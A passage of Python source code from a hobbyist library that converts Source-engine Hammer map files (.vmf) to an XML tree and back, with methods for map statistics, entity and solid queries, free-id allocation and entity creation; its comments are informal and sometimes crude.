ses.strip().split('\" \"')[1].replace('\"', '')\n\n\t\t\tvgr.next_element.extract()\n\n\t\tprint(visgroups)\n\n\n\n\t\t# todo: why is this commented out\n\t\t# format viewsettings\n\t\t\"\"\"\n\t\tviewsettings = lizard.select('map item[type=\"viewsettings\"]')[0]\n\t\tfor vst in viewsettings.next_element.strip().split('\\n'):\n\t\t\tprint(vst.strip())\n\t\t\tviewsettings[vst.strip().split('\" \"')[0].replace('\"', '')] = vst.strip().split('\" \"')[1].replace('\"', '')\n\n\t\tviewsettings.next_element.extract()\n\t\tprint(viewsettings)\n\t\t\"\"\"\n\n\n\t\t# todo: add parent name to the element name for more precise hierarchy ?\n\t\t# update: which parent ?\n\n\t\t# format type \"move exposed key-values to group name\"\n\t\tforma = ['versioninfo', 'viewsettings', 'world', 'editor', 'entity', 'side', 'solid', 'dispinfo', 'cordons', 'cordon', 'box', 'cameras', 'camera', 'group']\n\n\t\tfor fm in forma:\n\t\t\tselect_frm = lizard.select('map ' + fm)\n\t\t\t# for every element that matched a query\n\t\t\tfor sks in select_frm:\n\t\t\t\t# sexy red strings\n\t\t\t\tcollected_strings = []\n\t\t\t\t# for every direct child check if it's a string. If so - collect it\n\t\t\t\tfor dch in sks.children:\n\t\t\t\t\t# isinstance\n\t\t\t\t\tif isinstance(dch, NavigableString):\n\t\t\t\t\t\tcollected_strings.append(dch)\n\t\t\t\t\n\t\t\t\t# then, do shit with them\n\t\t\t\tfor vst in '\\n'.join(collected_strings).strip().split('\\n'):\n\t\t\t\t\tif vst.strip() != '':\n\t\t\t\t\t\tprint(vst.strip())\n\t\t\t\t\t\tsks[vst.strip().split('\" \"')[0].replace('\"', '')] = vst.strip().split('\" \"')[1].replace('\"', '')\n\n\t\t\t\t# after that - remove these strings from the fucking shit\n\t\t\t\tfor rmstring in collected_strings:\n\t\t\t\t\trmstring.extract()\n\t\t\t# print(select_frm)\n\n\n\n\n\n\t\t# format type \"convert exposed key-values to tag\"\n\t\tkv2tag = ['normals', 'distances', 'offsets', 'offset_normals', 'alphas', 'triangle_tags', 'vertices_plus', 'connections', 'multiblend', 'alphablend', 'multiblend_color_0', 'multiblend_color_1', 'multiblend_color_2', 'multiblend_color_3']\n\t\tfor kvt in kv2tag:\n\t\t\tselect_kv2tags = lizard.select('map ' + kvt)\n\t\t\tfor sgw in select_kv2tags:\n\t\t\t\traw_data = sgw.next_element\n\t\t\t\t# todo: no next element. Do collection\n\t\t\t\tsgw.next_element.extract()\n\t\t\t\tfor vhs in raw_data.strip().split('\\n'):\n\t\t\t\t\tprint(vhs.strip())\n\t\t\t\t\t# such a beautiful one-liner went terribly wrong\n\t\t\t\t\t# sgw.append(lizard.new_tag(vhs.strip().split('\" \"')[0].replace('\"', '')).append(NavigableString(vhs.strip().split('\" \"')[1].replace('\"', ''))))\n\t\t\t\t\t# print('tag name:' + vhs.strip().split('\" \"')[0].replace('\"', ''))\n\t\t\t\t\t# print('tag value:' + vhs.strip().split('\" \"')[1].replace('\"', ''))\n\n\t\t\t\t\t# Only if there are children\n\t\t\t\t\tif len(raw_data.strip()) > 0:\n\t\t\t\t\t\tmktg = lizard.new_tag(vhs.strip().split('\" \"')[0].replace('\"', ''))\n\t\t\t\t\t\ttry:\n\t\t\t\t\t\t\t# important todo: Replace them stupid bytes right away in the very beginning of parsing the whole thing?\n\t\t\t\t\t\t\tmktg.string = vhs.strip().split('\" \"')[1].replace('\"', '').replace('\u001B', ',')\n\t\t\t\t\t\texcept:\n\t\t\t\t\t\t\tmktg.string = vhs.strip() + 'FIXME EXCEPTION FFS. Children size:' + str(len(raw_data.strip()))\n\t\t\t\t\t\tprint(mktg)\n\t\t\t\t\t\tsgw.append(mktg)\n\t\t\t\t\t# print(mktg.name)\n\n\n\t\t\t\t\n\t\t\t# print(select_frm)\n\n\n\n\n\n\t\t# end refinery\n\t\t# save back\n\t\tself.lizard = lizard\n\n\n\t# Reconstructor. The coolest part. Kind of\n\t# This will convert xml to a valid .vmf string\n\t# and store it in class\n\t# Theoretically, this should NOT do anything with the xml\n\t# important todo: with all respect, this has to be an external function...\n\t# as well as init :(\n\tdef tovmf(self):\n\t\t#\n\t\t# reconstruct\n\t\t#\n\n\n\t\t# - define some reusables -\n\n\n\t\t# wrap into quotation marks\n\t\tdef wap(ste):\n\t\t\treturn '\"' + str(ste) + '\"'\n\n\t\t# takes key name, object, wether to insert line break or not and number of tabs, returns reconstruct string\n\t\t# converts given attribute name of a tag to .vmf standard key - value\n\t\tdef wapr(itr, ob, brk, tabs):\n\t\t\tmktabs = ''\n\t\t\tfor iguana in range(int(tabs)):\n\t\t\t\tmktabs += '\\t'\n\t\t\t\n\t\t\tif int(brk) == 1:\n\t\t\t\treturn mktabs + wap(itr) + ' ' + wap(ob[itr]) + '\\n'\n\t\t\telse:\n\t\t\t\treturn mktabs + wap(itr) + ' ' + wap(ob[itr])\n\n\t\t# takes tag as an input and number of tabs, returns unwrap\n\t\tdef unwapr(tg, nt):\n\t\t\tmktabs = ''\n\t\t\tfor iguana in range(int(nt)):\n\t\t\t\tmktabs += '\\t'\n\t\t\treturn mktabs + wap(tg.name) + ' ' + wap(tg.string) + '\\n'\n\n\t\t# open block with tabs and opening bracket\n\t\tdef op(tgname, ntc):\n\t\t\tmktabs = ''\n\t\t\tfor iguana in range(int(ntc)):\n\t\t\t\tmktabs += '\\t'\n\t\t\treturn mktabs + tgname + '\\n' + mktabs + '{\\n'\n\n\t\t# close block\n\t\tdef cl(tabz):\n\t\t\tmktabs = ''\n\t\t\tfor iguana in range(int(tabz)):\n\t\t\t\tmktabs += '\\t'\n\t\t\treturn mktabs + '}\\n'\n\n\n\n\t\t# - start reconstruction -\n\n\n\t\t# first, grab the bs object from the class\n\t\tlizard = self.lizard\n\n\t\t# again, we no longer use files (for now at least)\n\t\t# define a variable to write the reconstruct to.\n\t\t# then, write it to class and return the reconstruct\n\t\trcf = ''\n\n\n\t\t# reconstruct versioninfo and viewsettings, if any\n\t\tif len(lizard.select('versioninfo')) > 0 or len(lizard.select('viewsettings')) > 0:\n\t\t\tcommon_pre_world = ['versioninfo', 'viewsettings']\n\t\t\tfor kingdom_cum in common_pre_world:\n\t\t\t\t# check if current selection exists\n\t\t\t\tif len(lizard.select('map ' + kingdom_cum)) > 0:\n\t\t\t\t\trcf += (op(kingdom_cum, 0))\n\t\t\t\t\t# for every versioninfo k:v of the current map\n\t\t\t\t\tfor cum_kv in lizard.find(kingdom_cum).attrs:\n\t\t\t\t\t   rcf += (wapr(cum_kv, lizard.find(kingdom_cum).attrs, 1, 1))\n\t\t\t\t\trcf += (cl(0))\n\n\n\n\t\t#\n\t\t# start construct visgroups, if any\n\t\t#\n\t\tif len(lizard.select('map visgroups')) > 0:\n\t\t\tprint(lizard.select('map visgroups')[0].prettify())\n\t\t\t# for every visgroup in the map visgroups group\n\t\t\tfor vgr_kv in lizard.select('map visgroups visgroup'):\n\t\t\t\t# collect tag attributes into a string and delete them afterwards\n\t\t\t\tgecko = []\n\t\t\t\t# for every k:v (from attr) of the current visgroup\n\t\t\t\tfor vs_kv in vgr_kv.attrs:\n\t\t\t\t\t# collect attributes to delete\n\t\t\t\t\tgecko.append(vs_kv)\n\t\t\t\t\t# del vgr_kv[vs_kv]\n\t\t\t\t\tsmart_shit = lizard.new_tag('lmfao')\n\t\t\t\t\tsmart_shit.string = wapr(vs_kv, vgr_kv.attrs, 0, 0)\n\t\t\t\t\tvgr_kv.append(smart_shit)\n\t\t\t\t# delete attributes\n\t\t\t\tfor rmattr in gecko:\n\t\t\t\t\tdel vgr_kv[rmattr]\n\n\n\t\t\tprint(lizard.select('map visgroups')[0].prettify())\n\t\t\tconstructed_vgroups = lizard.select('map visgroups')[0].prettify().split('\\n')\n\n\t\t\tfor indegz, fuck in enumerate(constructed_vgroups):\n\t\t\t\t# print(fuck)\n\t\t\t\twriteshit = fuck\n\t\t\t\t# get indentation\n\t\t\t\tstartwhites = fuck[:len(fuck)-len(fuck.lstrip())]\n\t\t\t\tif '<visgroup' in fuck:\n\t\t\t\t\t# rcf += (startwhites + 'visgroup\\n' + startwhites + '{\\n')\n\t\t\t\t\twriteshit = startwhites + 'visgroup\\n' + startwhites + '{\\n'\n\t\t\t\tif '</visgroup>' in fuck: \n\t\t\t\t\twriteshit = startwhites + '}\\n'\n\t\t\t\tif '<lmfao>' in fuck or '</lmfao>' in fuck:\n\t\t\t\t\twriteshit = '\\n'\n\n\t\t\t\tif '<visgroups' in fuck:\n\t\t\t\t\twriteshit = 'visgroups\\n{\\n'\n\t\t\t\tif '</visgroups>' in fuck:\n\t\t\t\t\twriteshit = '}\\n'\n\t\t\t\t# write result\n\t\t\t\trcf += (writeshit)\n\n\t\t\t#\n\t\t\t# end construct visgroups\n\t\t\t#\n\n\n\n\n\n\t\t#\n\t\t# reconstruct world\n\t\t#\n\t\trcf += (op('world', 0))\n\t\tworld_attrs = lizard.select('map world')[0].attrs\n\t\tfor wattr in world_attrs:\n\t\t\trcf += (wapr(wattr, world_attrs, 1, 1))\n\n\n\n\t\t# construct world solids\n\t\t# for every solid of the current map\n\t\tfor wrsolid in lizard.select('world solid'):\n\t\t\t# open solid\n\t\t\trcf += (op('solid', 1))\n\t\t\trcf += (wapr('id', wrsolid, 1, 2))\n\t\t\t# construct sides\n\t\t\t# get all current sides\n\t\t\tcsides = wrsolid.find_all('side')\n\t\t\t# for every side of a current solid\n\t\t\tfor wrside in csides:\n\t\t\t\t# open side\n\t\t\t\trcf += (op('side', 2))\n\t\t\t\t# for every keyvalue of a current side\n\t\t\t\tfor cside_kv in wrside.attrs:\n\t\t\t\t\trcf += (wapr(cside_kv, wrside.attrs, 1, 3))\n\n\t\t\t\t# reconstruct hammer vertices plus\n\t\t\t\t# todo: for now - require hammer++\n\t\t\t\t# done. hammer++ not required\n\t\t\t\tif len(wrside.select('vertices_plus')) > 0:\n\t\t\t\t\trcf += (op('vertices_plus', 3))\n\t\t\t\t\t# for every vert+ (tag) in the current side, if any\n\t\t\t\t\tfor vplus in wrside.find('vertices_plus'):\n\t\t\t\t\t\trcf += (unwapr(vplus, 4))\n\t\t\t\t\trcf += (cl(3))\n\n\n\t\t\t\t# a side COULD have displacement\n\t\t\t\t# print(len(wrside.select('dispinfo ' + 'normals')))\n\t\t\t\tif len(wrside.select('dispinfo')) > 0:\n\t\t\t\t\t# write disp info k-v\n\t\t\t\t\t# open disp info\n\t\t\t\t\trcf += (op('dispinfo', 3))\n\t\t\t\t\t# for every k-v of the current disp info\n\t\t\t\t\tfor dsp_kv in wrside.select('dispinfo')[0].attrs:\n\t\t\t\t\t\trcf += (wapr(dsp_kv, wrside.select('dispinfo')[0].attrs, 1, 4))\n\n\t\t\t\t\t# by far not always a displacement has all the components\n\t\t\t\t\tdisp_info = ['normals', 'distances', 'offsets', 'offset_normals', 'alphas', 'triangle_tags', 'multiblend', 'alphablend', 'multiblend_color_0', 'multiblend_color_1', 'multiblend_color_2', 'multiblend_color_3']\n\t\t\t\t\t# for every possible info of the current side disp info\n\t\t\t\t\tfor dsinfo in disp_info:\n\t\t\t\t\t\t# if this info exists - do shit\n\t\t\t\t\t\tif len(wrside.select('dispinfo ' + dsinfo)) > 0:\n\t\t\t\t\t\t\trcf += (op(dsinfo, 4))\n\t\t\t\t\t\t\t# for every keyvalue (tag) of the current block\n\t\t\t\t\t\t\tfor dsinfo_kv in wrside.select('dispinfo ' + dsinfo)[0].children:\n\t\t\t\t\t\t\t\trcf += (unwapr(dsinfo_kv, 5))\n\t\t\t\t\t\t\trcf += (cl(4))\n\n\t\t\t\t\t# write allowed verts\n\t\t\t\t\t# wtf does it mean even\n\t\t\t\t\t# does every displacement has it ??????\n\t\t\t\t\tif len(wrside.select('dispinfo allowed_verts')) > 0: \n\t\t\t\t\t\trcf += (op('allowed_verts', 4))\n\t\t\t\t\t\trcf += ('\\t\\t\\t\\t\\t' + wrside.select('dispinfo allowed_verts')[0].string.strip() + '\\n')\n\t\t\t\t\t\trcf += (cl(4))\n\n\t\t\t\t\t# close disp info\n\t\t\t\t\trcf += (cl(3))\n\n\t\t\t\t# close side\n\t\t\t\trcf += (cl(2))\n\t\t\t\n\t\t\t# reconstruct editor, IF ANY\n\t\t\tif len(wrsolid.select('editor')) > 0:\n\t\t\t\trcf += (op('editor', 2))\n\t\t\t\t# for every editor k:v of the current solid\n\t\t\t\tfor editor_kv in wrsolid.find('editor').attrs:\n\t\t\t\t   rcf += (wapr(editor_kv, wrsolid.find('editor'), 1, 3))\n\t\t\t\t# close editor\n\t\t\t\trcf += (cl(2))\n\n\t\t\t# close solid\n\t\t\trcf += (cl(1))\n\n\n\n\t\t# reconstruct groups, if any\n\t\tif len(lizard.select('world group')) > 0:\n\t\t\t# for every group in the current world\n\t\t\tfor wrgroup in lizard.select('world group'):\n\t\t\t\t# open group\n\t\t\t\trcf += (op('group', 1))\n\t\t\t\t# current group k:v\n\t\t\t\tfor cgrp_kv in wrgroup.attrs:\n\t\t\t\t\trcf += (wapr(cgrp_kv, wrgroup.attrs, 1, 2))\n\n\t\t\t\t# group editor, IF ANY\n\t\t\t\tif len(wrgroup.select('editor')) > 0:\n\t\t\t\t\trcf += (op('editor', 2))\n\t\t\t\t\t# for every editor k:v of the current group\n\t\t\t\t\tfor cum_kv in wrgroup.find('editor').attrs:\n\t\t\t\t\t   rcf += (wapr(cum_kv, wrgroup.find('editor').attrs, 1, 3))\n\t\t\t\t\t# close editor\n\t\t\t\t\trcf += (cl(2))\n\n\t\t\t\t# close group\n\t\t\t\trcf += (cl(1))\n\n\t\t# close world\n\t\t#\n\t\trcf += (cl(0))\n\n\n\n\n\n\t\t# reconstruct entities, IF ANY\n\t\t# for every entity on a map\n\t\tif len(lizard.select('map entity')) > 0:\n\t\t\tfor wrent in lizard.select('map entity'):\n\t\t\t\t# open entity\n\t\t\t\trcf += (op('entity', 0))\n\t\t\t\t# current entity k:v\n\t\t\t\tfor cent_kv in wrent.attrs:\n\t\t\t\t\trcf += (wapr(cent_kv, wrent.attrs, 1, 1))\n\n\t\t\t\t# Write connections if any\n\t\t\t\tif len(wrent.select('connections')) > 0:\n\t\t\t\t\t# open connections\n\t\t\t\t\trcf += (op('connections', 1))\n\t\t\t\t\tfor cnt in wrent.select('connections')[0].children:\n\t\t\t\t\t\trcf += (unwapr(cnt, 2))\n\t\t\t\t\trcf += (cl(1))\n\n\n\t\t\t\t# write solids, if any\n\t\t\t\tif len(wrent.select('solid')) > 0:\n\t\t\t\t\t# for every solid in the current entity\n\t\t\t\t\tfor esolid in wrent.select('solid'):\n\t\t\t\t\t\t# open solid\n\t\t\t\t\t\trcf += (op('solid', 1))\n\t\t\t\t\t\trcf += (wapr('id', esolid, 1, 2))\n\t\t\t\t\t\t# construct sides\n\t\t\t\t\t\t# get all current sides\n\t\t\t\t\t\tcsides = esolid.find_all('side')\n\t\t\t\t\t\t# for every side of a current solid\n\t\t\t\t\t\tfor wrside in csides:\n\t\t\t\t\t\t\t# open side\n\t\t\t\t\t\t\trcf += (op('side', 2))\n\t\t\t\t\t\t\t# for every keyvalue of a current side\n\t\t\t\t\t\t\tfor cside_kv in wrside.attrs:\n\t\t\t\t\t\t\t\trcf += (wapr(cside_kv, wrside.attrs, 1, 3))\n\n\t\t\t\t\t\t\t# reconstruct hammer vertices plus, IF ANY\n\t\t\t\t\t\t\t# todo: for now - require hammer++\n\t\t\t\t\t\t\t# Done. No hammer++ required\n\t\t\t\t\t\t\tif len(wrside.select('vertices_plus')) > 0:\n\t\t\t\t\t\t\t\trcf += (op('vertices_plus', 3))\n\t\t\t\t\t\t\t\t# for every vert+ (tag) in the current side\n\t\t\t\t\t\t\t\tfor vplus in wrside.find('vertices_plus'):\n\t\t\t\t\t\t\t\t\trcf += (unwapr(vplus, 4))\n\t\t\t\t\t\t\t\t# close v+\n\t\t\t\t\t\t\t\trcf += (cl(3))\n\t\t\t\t\t\t\t# close side\n\t\t\t\t\t\t\trcf += (cl(2))\n\t\t\t\t\t\t# close solid\n\t\t\t\t\t\trcf += (cl(1))\n\n\n\n\t\t\t\t# write editor, IF ANY\n\t\t\t\tif len(wrent.select('editor')) > 0:\n\t\t\t\t\trcf += (op('editor', 1))\n\t\t\t\t\t# for every editor k:v of the current entity\n\t\t\t\t\tfor cent_ed_kv in wrent.find('editor').attrs:\n\t\t\t\t\t   rcf += (wapr(cent_ed_kv, wrent.find('editor').attrs, 1, 2))\n\t\t\t\t\t# close editor\n\t\t\t\t\trcf += (cl(1))\n\n\t\t\t\t# close entity\n\t\t\t\trcf += (cl(0))\n\n\t\t# end reconstructing entities\n\n\n\t\t# reconstruct cameras\n\t\t# write global cameras k:v\n\t\trcf += (op('cameras', 0))\n\t\t# for every gl camera k:v of the map\n\t\tfor glcam_kv in lizard.select('map cameras')[0].attrs:\n\t\t   rcf += (wapr(glcam_kv, lizard.select('map cameras')[0].attrs, 1, 1))\n\n\t\t# write actual cameras\n\t\t# for every childcam k:v of the map\n\t\tfor chcam in lizard.select('map cameras camera'):\n\t\t\t# open camera\n\t\t\trcf += (op('camera', 1))\n\t\t\t# for every ch camera k:v of the map\n\t\t\tfor chcam_kv in chcam.attrs:\n\t\t\t   rcf += (wapr(chcam_kv, chcam.attrs, 1, 2))\n\t\t\t# close camera\n\t\t\trcf += (cl(1))\n\n\t\t# close global cameras\n\t\trcf += (cl(0))\n\n\n\n\t\t# reconstruct cordons, IF ANY\n\t\t# keep in mind that sometimes in old map files we only have one cordon\n\t\tif len(lizard.select('cordons cordon')) > 0:\n\t\t\t# write global cordons k:v\n\t\t\trcf += (op('cordons', 0))\n\t\t\t# for every gl cordons k:v of the map\n\t\t\tfor glcor_kv in lizard.select('map cordons')[0].attrs:\n\t\t\t   rcf += (wapr(glcor_kv, lizard.select('map cordons')[0].attrs, 1, 1))\n\n\t\t\t# write actual cordons\n\t\t\t# for every childcam k:v of the map\n\t\t\tfor chcor in lizard.select('map cordons cordon'):\n\t\t\t\t# open cordon\n\t\t\t\trcf += (op('cordon', 1))\n\t\t\t\t# for every current camera k:v of the map\n\t\t\t\tfor chcor_kv in chcor.attrs:\n\t\t\t\t   rcf += (wapr(chcor_kv, chcor.attrs, 1, 2))\n\n\t\t\t\t# write cordon box\n\t\t\t\trcf += (op('box', 2))\n\t\t\t\t# for every box k:v of the current entity, IF ANY\n\t\t\t\tfor cent_box_kv in chcor.find('box').attrs:\n\t\t\t\t   rcf += (wapr(cent_box_kv, chcor.find('box').attrs, 1, 3))\n\t\t\t\t# close box\n\t\t\t\trcf += (cl(2))\n\n\t\t\t\t# close cordon\n\t\t\t\trcf += (cl(1))\n\n\t\t\t# close global cordons\n\t\t\trcf += (cl(0))\n\t\telse:\n\t\t\t# try to locate the one-box cordon\n\t\t\t# todo: drop support for this retarded shit, force users to use h++ and convert parsed old vmfs to new format\n\t\t\t# if on refinery onebox cordon detected - create cordons and append that box there\n\t\t\tcordonlocate = lizard.select('map > cordon')\n\t\t\tif len(cordonlocate) > 0:\n\t\t\t\trcf += (op('cordon', 0))\n\t\t\t\t# for every versioninfo k:v of the current map\n\t\t\t\tfor cum_kv in cordonlocate[0].attrs:\n\t\t\t\t   rcf += (wapr(cum_kv, cordonlocate[0].attrs, 1, 1))\n\t\t\t\trcf += (cl(0))\n\n\n\t\t# finally, write reconstruct back and return the string\n\t\tself.readyvmf = rcf\n\t\treturn rcf\n\n\n\t# Returns a dict of basic stats\n\tdef vmfstats(self):\n\t\tstats = {}\n\n\t\tlizard= self.lizard\n\n\t\t# basic info\n\n\n\n\t\t# -- number of entities --\n\n\t\t# static props do not count\n\t\tallowance_ents = {\n\t\t\t'hl2': 4096,\n\t\t\t'tf2': 4096,\n\t\t\t'portal2': 8192,\n\t\t\t'csgo': 8192,\n\t\t\t'gmod': 16384\n\t\t}\n\n\t\tent_edict = 0\n\t\tnotcount = ['prop_static', 'sprite_clientside', 'prop_detail']\n\n\t\tfor ent in lizard.select('map entity'):\n\t\t\tif not ent['classname'] in notcount:\n\t\t\t\tent_edict += 1\n\n\t\tstats['ents_enum_edict'] = ent_edict\n\t\tstats['ents_total'] = len(lizard.select('map entity'))\n\n\n\n\t\t# -- brushes and faces stats --\n\n\t\t# nodraws do not count\n\t\t# 128 faces max per single brush\n\t\t# 32768 faces overall (it's a plane limit, each face uses 2 planes. 65536‬)\n\t\tallowance_brush = {\n\t\t\t'hl2': 8192,\n\t\t\t'tf2': 8192,\n\t\t\t'portal2': 8192,\n\t\t\t'csgo': 8192,\n\t\t\t'gmod': 16384\n\t\t}\n\t\tfaces_edict = 0\n\t\tfor side in lizard.select('map solid side'):\n\t\t\tif not 'toolsnodraw' in side['material'].lower():\n\t\t\t\tfaces_edict += 1\n\n\t\tstats['faces_enum_edict'] = faces_edict\n\t\tstats['faces_total'] = len(lizard.select('map solid side'))\n\t\tstats['brushes_edict'] = len(lizard.select('map solid'))\n\n\n\n\t\t# -- face limit per brush. 128 --\n\t\tanybad = False\n\t\tbadstats = {}\n\t\tfor tside in lizard.select('map solid'):\n\t\t\tif len(tside.select('side')) > 127:\n\t\t\t\tanybad = True\n\t\t\t\tbadstats[tside['id']] = len(tside.select('side'))\n\n\t\tif anybad == True:\n\t\t\t# write badsolids anyway? For consistency?\n\t\t\tstats['badsolids'] = True\n\t\t\tstats['bad_info'] = badstats\n\n\t\treturn stats\n\n\n\t# append point entity\n\t# def add_ent(self, prmdict, mkid):\n\n\n\t# return matches\n\tdef vmfquery(self, qr):\n\t\tlizard = self.lizard\n\t\tselector = ''\n\t\t\n\t\t# todo: repeating code\n\t\t# todo: query itself could contain special symbols. Temp solution: only look at the very first character?\n\n\t\t# Since ids are PRESUMABLY unique, here we should only return the first match...\n\t\t# important todo: make all queries support * wildcards\n\t\tif '#' in qr:\n\t\t\tselector = 'map entity[id=\"' + qr.split('#')[-1] + '\"]'\n\t\t\tif len(lizard.select(selector)) > 0:\n\t\t\t\treturn lizardvmf_entity(lizard, lizard.select(selector)[0])\n\t\t\telse:\n\t\t\t\treturn None\n\n\t\t# select solids by id\n\t\t# todo: use something else than ^, % for example\n\t\tif '^' in qr:\n\t\t\tselector = 'map solid[id=\"' + qr.split('^')[-1] + '\"]'\n\t\t\tif len(lizard.select(selector)) > 0:\n\t\t\t\treturn lizardvmf_solid(lizard, lizard.select(selector)[0])\n\t\t\telse:\n\t\t\t\treturn None\n\n\n\n\t\t# select by targetname (name)\n\t\tif '$' in qr:\n\t\t\t# construct selector by targtname which will probably return many entries\n\t\t\tselector = 'map entity[targetname=\"' + qr.split('$')[-1] + '\"]'\n\t\t\t# if selector returns anything - create an array of returned results\n\t\t\t# in a form of lizardvmf_entity\n\t\t\tif len(lizard.select(selector)) > 0:\n\t\t\t\tqresults = []\n\t\t\t\tfor q in lizard.select(selector):\n\t\t\t\t\tqresults.append(lizardvmf_entity(lizard, q))\n\t\t\t\treturn qresults\n\t\t\telse:\n\t\t\t\treturn None\n\n\n\t\t# any keyvalue query\n\t\t# example: ~fogMaxDensity=1\n\t\t# todo: make this accept something smarter than that\n\t\tif '~' in qr:\n\t\t\tparts = qr.split('~')[-1].split('=')\n\t\t\tselector = 'map entity[' + parts[0] + '=\"' + parts[-1] + '\"]'\n\t\t\tif len(lizard.select(selector)) > 0:\n\t\t\t\tqresults = []\n\t\t\t\tfor q in lizard.select(selector):\n\t\t\t\t\tqresults.append(lizardvmf_entity(lizard, q))\n\t\t\t\treturn qresults\n\t\t\telse:\n\t\t\t\t# todo (also applies to selectors above): return empty array if nothing found ?\n\t\t\t\treturn None\n\n\n\t\t# any custom query\n\t\t# raw bs4 css query\n\t\t# returns lizard entity\n\t\t# anything beyond that should be done via direct xml access\n\t\t\"\"\"\n\t\tif '%' in qr:\n\t\t\tselector = str(qr)[1:]\n\t\t\tif len(lizard.select(selector)) > 0:\n\t\t\t\tqresults = []\n\t\t\t\tfor q in lizard.select(selector):\n\t\t\t\t\tqresults.append(lizardvmf_entity(lizard, q))\n\t\t\t\treturn qresults\n\t\t\telse:\n\t\t\t\treturn None\n\t\t\"\"\"\n\n\n\t# returns all entities\n\tdef ents(self):\n\t\tall_ents = []\n\t\tfor en in self.lizard.select('map entity'):\n\t\t\tall_ents.append(lizardvmf_entity(self.lizard, en))\n\t\treturn all_ents\n\n\n\n\t# returns all entities\n\t# pool - which pool to grab from:\n\t# world - world pool\n\t# ents - entity pool\n\tdef solids(self, world=True, ents=True):\n\t\tall_ents = []\n\t\tif ents == True:\n\t\t\tfor en in self.lizard.select('map entity solid'):\n\t\t\t\tall_ents.append(lizardvmf_solid(self.lizard, en))\n\t\tif world == True:\n\t\t\tfor en in self.lizard.select('map world solid'):\n\t\t\t\tall_ents.append(lizardvmf_solid(self.lizard, en))\n\n\t\treturn all_ents\n\n\n\n\n\t# returns map properties\n\t# simply because I don't want to add self.mapsettings to the end of the init parser\n\t@property\n\tdef mapsettings(self):\n\t\treturn self.lizard.select('map world')[0]\n\n\n\t# get a bunch of free ids\n\tdef getfreeid(self, amount, doside=False):\n\n\t\t# check that integer has been passed since it's a required parameter\n\t\t# todo: make it accept True and whatever and spit a single id ???\n\t\t# why ??????\n\t\tif isinstance(amount, int):\n\t\t\tpass\n\t\telse:\n\t\t\traise ValueError('Amount can only be an integer. No bigger than 2,147,483,646 and not negative')\n\n\t\tlizard = self.lizard\n\n\t\t# todo: there are many other ways of getting free ids\n\t\t# like cycling through existing ones and finding gaps. Do these gaps actually matter ??\n\t\t# also other ways may result in way more readable ids\n\n\t\t# collect all ids here\n\t\ttaken_ids = []\n\n\t\t# important todo: it's possible to select multiple things at once with ,\n\t\tif doside == True:\n\t\t\tfor soid in lizard.select('map solid side'):\n\t\t\t\tif soid.get('id') != None:\n\t\t\t\t\ttaken_ids.append(int(soid['id']))\n\t\telse:\n\t\t\t# get all solid ids\n\t\t\t# todo: the int() thing is very unreliable here\n\t\t\tfor soid in lizard.select('map solid'):\n\t\t\t\tif soid.get('id') != None:\n\t\t\t\t\ttaken_ids.append(int(soid['id']))\n\n\t\t\t# get all entity ids\n\t\t\tfor eid in lizard.select('map entity'):\n\t\t\t\tif eid.get('id') != None:\n\t\t\t\t\ttaken_ids.append(int(eid['id']))\n\n\t\t\t# groups share id pool with ents and solids\n\t\t\tfor eid in lizard.select('map world group'):\n\t\t\t\tif eid.get('id') != None:\n\t\t\t\t\ttaken_ids.append(int(eid['id']))\n\n\t\t# sort ids out\n\t\t# update: not needed anymore\n\t\t# taken_ids.sort()\n\n\t\t# store free ids here\n\t\tfree_ids = []\n\n\t\t# lowest id possible\n\t\t# 2,147,483,646\n\t\tbasis = -2147483640\n\n\t\t# margin. A safety margin of around a few thousand ids\n\t\tmargin = 65535\n\n\t\tbasis += margin\n\n\t\t# todo: very reliable but slow\n\t\twhile len(free_ids) < amount:\n\t\t\t# basically test all the ids until we find the suitable one\n\t\t\tbasis += 1\n\t\t\tif not basis in taken_ids:\n\t\t\t\tfree_ids.append(basis)\n\n\t\t# There should always be enough free ids\n\t\treturn free_ids\n\n\t# create entity\n\t# todo: specify classname more easily ??\n\t# todo: also assign own id like md5 ????\n\t# todo: the defaults for loc, rot could be (0, 0, 0)\n\t# todo: loc rot as a tuple of two tuples ?\n\tdef mk_ent(self, params, loc=None, rot=None, idstate=None):\n\t\t\n\t\t\"\"\"\n\t\tCreates an entity and returns lizard entity.\n\t\tIt expects following parameters in a following order:\n\n\t\tA dictionary of key-values (\"angles\" and \"origin\" are always overwritten)\n\t\tLocation (loc), if None or not passed - 0 0 0\n\t\tRotation (rot), if None or not passed - this parameter is not being set\n\t\tId (idstate) - if nothing or none - id is assigned automatically. If int - sets passed int as id\n\n\t\tLocation, rotation and id are keyword arguments\n\t\tmeaning that the only positional argument that matters is the k:v dictionary (always has to be the first argument)\n\n\t\tDon't forget that dictionary should always have \"classname\" specified\n\t\t\"\"\"\n\t\t\n\n\n\t\tlizard = self.lizard\n\n\t\t# todo: do nothing if params are undefined\n\t\tnewent = lizard.new_tag('entity')\n\n\t\t# append editor\n\t\t# todo: should editor always be there or create when neccessary ?\n\t\tedtr = lizard.new_tag('editor', color='202 246 72', visgroupshown='1', visgroupautoshown='1', logicalpos='[0 500]')\n\t\tnewent.append(edtr)\n\n\t\t# populate attributes (parameters)\n\t\tfor pr in params:\n\t\t\tnewent[pr] = params[pr]\n\n\t\t# set id if told to\n\t\t# ffs, False is an int...\n\t\tif isinstance(idstate, int) and idstate != None and idstate != False and idstate != True:\n\t\t\t# you cannot have ids bigger than biggest int\n\t\t\tif idstate < 2147483640 and idstate > -2147483640:\n\t\t\t\tnewent['id'] = idstate\n\t\t\telse:\n\t\t\t\traise ValueError('id cannot be bigger than max int (2147483640)')\n\t\telse:\n\t\t\tnewent['id'] = self.getfreeid(1)[0]\n\n\t\t# Location and Rotation\n\t\t# takes tuples with 3 values\n\t\t# todo: only accept vectors ?\n\t\tif loc != None and isinstance(loc, tuple):\n\t\t\tnewent['origin'] = str(loc[0]) + ' ' + str(loc[1]) + ' ' + str(loc[2])\n\t\telse:\n\t\t\tnewent['origin'] = '0 0 0'\n\n\t\t# it's impossible to guess which entity should have angles and which not\n\t\t# therefore, assume that if not passed - entity doesn't has angles\n\t\tif rot != None and isinstance(loc, tuple):\n\t\t\tnewent['angles'] = str(rot[0]) + ' ' + str(rot[1]) + ' ' + str(rot[2])\n\n\t\t# finally, append constructed tag to map\n\t\tlizard.select('map world')[0].insert_after(newent)\n\n\t\t# and return the lizard entity\n\t\treturn lizardvmf_entity(lizard, newent)\n\n\n\t# for now displacements are not possible\n\t# todo: some defaults ?\n\tdef mk_solid(self, sides, idstate=None):\n\t\t\"\"\"\n\t\tIt expects following parameters in the following order:\n\t\tAn array of side dicts the solid 